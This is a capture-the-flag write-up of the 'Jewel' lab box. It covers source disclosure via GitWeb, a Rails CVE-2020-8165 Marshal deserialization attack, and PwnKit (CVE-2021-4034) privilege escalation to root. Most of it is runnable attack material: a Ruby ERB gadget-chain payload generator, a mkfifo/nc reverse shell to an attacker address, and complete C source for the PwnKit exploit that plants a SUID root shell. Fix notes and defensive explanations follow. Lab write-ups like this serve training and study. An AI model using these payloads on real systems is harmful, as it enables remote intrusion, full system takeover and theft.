Jewel
Summary
The target ran a Rails 5.2.2.1 blog application on port 8080 and a GitWeb source-hosting service on port 8000. GitWeb's anonymous snapshot-export feature was left on by default, letting any visitor download the entire application source in a single request. Source review confirmed the app cached a user-controlled username field in Redis with Rails' raw: true option — the exact pattern exploited by CVE-2020-8165 — in which the server calls Marshal.load directly on the stored bytes instead of safe JSON parsing.
I self-registered, serialized an ActiveSupport ERB gadget chain as the cache entry, and delivered it via the profile-update endpoint; the next page load triggered deserialization and yielded a reverse shell as system user bill. Post-exploitation enumeration found the SUID pkexec binary installed from an unpatched version of Polkit; CVE-2021-4034 (PwnKit) was exploited by compiling a malicious shared object and calling pkexec with an empty argument list, causing it to load my code with root privileges and completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export USER_ID="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 3
Register the target hostname for local resolution.
$ echo "$TARGET jewel.htb" | sudo tee -a /etc/hostsIdentify all open ports and service banners.
$ nmap -Pn -sV -p22,8000,8080 $TARGETConfirm the redirect from port 8000 root to /gitweb/.
$ curl -si 'http://jewel.htb:8000/' | grep -i 'location\|server'Exact commands 3
Download the complete repository snapshot without credentials.
$ curl -s 'http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' -o repo.tgzExtract the archive into the src/ working directory.
$ mkdir src && tar xzf repo.tgz -C src --strip-components=1Confirm Rails version 5.2.2.1 in the dependency lockfile.
$ grep -E '^ {4}rails ' src/Gemfile.lockFixDisable anonymous GitWeb snapshot export to prevent source-code disclosureHigh
Exact commands 2
Locate the vulnerable raw: true cache read in the controller.
$ grep -n 'cache\|raw\|current_user' src/app/controllers/application_controller.rbConfirm the username column is present and writable via the users update endpoint.
$ grep -n 'username\|password_digest' src/db/schema.rbExact commands 3
Register my own account; inspect /signup HTML to confirm exact field names.
$ curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/signup' -d "user[username]=$USERNAME&user[email]=$USERNAME@local.com&user[password]=$PASSWORD2"Authenticate and follow the redirect to populate the session cookie.
$ curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/login' -d "user[email]=$USERNAME@local.com&user[password]=$PASSWORD2" -L -o home.htmlExtract the CSRF token and own user_id for the gadget delivery request.
$ TOKEN=$(curl -s -b c.jar 'http://jewel.htb:8080/users/edit' | grep -oP 'name="authenticity_token" value="\K[^"]+'); USER_ID=$(curl -s -b c.jar 'http://jewel.htb:8080/' | grep -oP 'href="/users/\K[0-9]+' | head -1); echo "TOKEN=$TOKEN USER_ID=$USER_ID"Exact commands 6
Start the reverse shell listener (run in a background terminal on my machine).
$ nc -lvnp 4444The gadget is three objects: the ERB that holds the command, the proxy that calls it, and Marshal to rebuild them.
$ cat > make_payload.rb <<'RB'
require 'erb'
require 'active_support'
require 'cgi'
# ERB keeps the source it will run in @src. A deprecation proxy calls a
# method on the object it wraps when it is inspected, and Marshal.load
# rebuilds both -- so loading these bytes runs that source.
erb = ERB.allocate
erb.instance_variable_set :@src, %(`#{ARGV[0]}`)
erb.instance_variable_set :@filename, '1'
erb.instance_variable_set :@lineno, 1
gadget = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
.new(erb, :result, 'x', ActiveSupport::Deprecation.new)
print CGI.escape(Marshal.dump(gadget))
RBCaptured into a variable rather than printed: the bytes are binary and the next request needs them intact.
$ PAYLOAD=$(ruby make_payload.rb "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f")Write the gadget bytes into Redis via the profile-update endpoint.
$ curl -b c.jar -c c.jar -X PUT "http://jewel.htb:8080/users/${USER_ID}" --data-urlencode "authenticity_token=${TOKEN}" --data-urlencode "user[username]=${PAYLOAD}"Load the home page to trigger the cache read and Marshal.load deserialization.
$ curl -b c.jar 'http://jewel.htb:8080/'In the listener's shell, which is where the deserialised gadget connected back to -> <user.txt>
$ id; cat /home/bill/user.txt
uid=1000(bill) gid=1000(bill)FixUpgrade Rails and eliminate raw cache deserialization to close CVE-2020-8165Critical
Exact commands 3
List all SUID root binaries — pkexec appears in the output.
$ find / -perm -4000 -user root -type f 2>/dev/nullCheck the installed Polkit version; anything below 0.105-26+deb10u1 on Debian 10 is vulnerable to CVE-2021-4034.
$ dpkg -l policykit-1Confirm the SUID root bit is set on pkexec.
$ ls -la /usr/bin/pkexecExact commands 5
Create an isolated working directory on the target for exploit files.
$ mkdir -p /tmp/pk && cd /tmp/pkCompile the launcher that calls pkexec with argc=0 and the crafted environment.
$ cat > pwn.c <<'EOF'
#include <unistd.h>
int main(){ char *a[]={NULL}; char *e[]={"exploit","PATH=GCONV_PATH=.","CHARSET=PWNKIT","SHELL=pwnkit",NULL};
execve("/usr/bin/pkexec", a, e); return 0; }
EOF
gcc pwn.c -o pwnCompile the malicious shared object and build the fake GCONV_PATH directory tree.
$ cat > pwnkit.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
setuid(0); setgid(0); seteuid(0); setegid(0);
system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash");
_exit(0);
}
EOF
mkdir -p exploit
printf 'module UTF-8// PWNKIT// exploit 2\n' > exploit/gconv-modules
gcc -shared -fPIC pwnkit.c -o exploit/exploit.so
touch 'GCONV_PATH=./exploit' && chmod +x 'GCONV_PATH=./exploit'Trigger pkexec to load the malicious shared object as root; /tmp/rootbash is created with SUID.
$ ./pwnDrop into a root shell and read the root flag; actual -> <root.txt>
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=0(root) gid=0(root)FixPatch Polkit to remediate PwnKit local privilege escalation (CVE-2021-4034)Critical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 8000/tcp | http Apache httpd 2.4.38 |
| 8080/tcp | http nginx 1.14.2 (Phusion Passenger 6.0.6) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.